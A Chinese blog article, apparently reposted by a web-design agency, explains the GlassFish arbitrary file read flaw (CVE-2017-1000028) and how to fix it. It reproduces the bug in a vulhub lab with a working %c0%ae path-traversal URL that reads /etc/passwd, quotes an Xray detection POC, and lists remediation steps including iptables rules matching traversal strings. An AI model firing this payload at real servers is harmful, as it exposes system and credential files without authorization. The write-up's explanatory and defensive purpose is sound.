189 8069 5689

GlassFish任意文件读取漏洞怎么修复

小编给大家分享一下GlassFish任意文件读取漏洞怎么修复,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

新洲网站制作公司哪家好,找成都创新互联!从网页设计、网站建设、微信开发、APP开发、成都响应式网站建设等网站项目制作,到程序开发,运营维护。成都创新互联自2013年创立以来到现在10年的时间,我们拥有了丰富的建站经验和运维经验,来保证我们的工作的顺利进行。专注于网站建设就选成都创新互联

GlassFish 任意文件读取漏洞

Port : 4848

漏洞原理

glassfish 是一款 java 编写的跨平台的开源的应用服务器

java语言中会把 %c0%ae解析为 \uC0AE,最后转义为ASCCII字符的.(点)。利用 %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是../../../../../../../../../../../etc/passwd。

影响版本:

< 4.1.1(不含 4.1.1)

漏洞复现

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

编译、运行测试环境,本环境超级管理员密码在 docker-compose.yml中设置,默认为 vulhub_default_password,在4848端口利用该密码可以登录管理员账户。

docker-compose up -d

环境运行后,访问 http://your-ip:8080http://your-ip:4848即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。

GlassFish任意文件读取漏洞怎么修复

无需登录,直接访问 https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd,发现已成功读取 /etc/passwd内容:

GlassFish任意文件读取漏洞怎么修复

POC & EXP

如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。

name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
  - method: GET
    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
    follow_redirects: true
    expression: |
      response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")
detail:
  version: <4.1.0
  author: sharecast
  links:
    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

GlassFish任意文件读取漏洞怎么修复

漏洞修复

1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务

./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在

2. IPtables 规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP   
//该规则无法防御HTTPS SSL方案

3. 禁用 web.xml theme 映射\glassfish5\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

重启 glassfish 后生效

以上是“GlassFish任意文件读取漏洞怎么修复”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注创新互联行业资讯频道!


文章题目:GlassFish任意文件读取漏洞怎么修复
网页地址:http://cdxtjz.com/article/jdsigc.html

其他资讯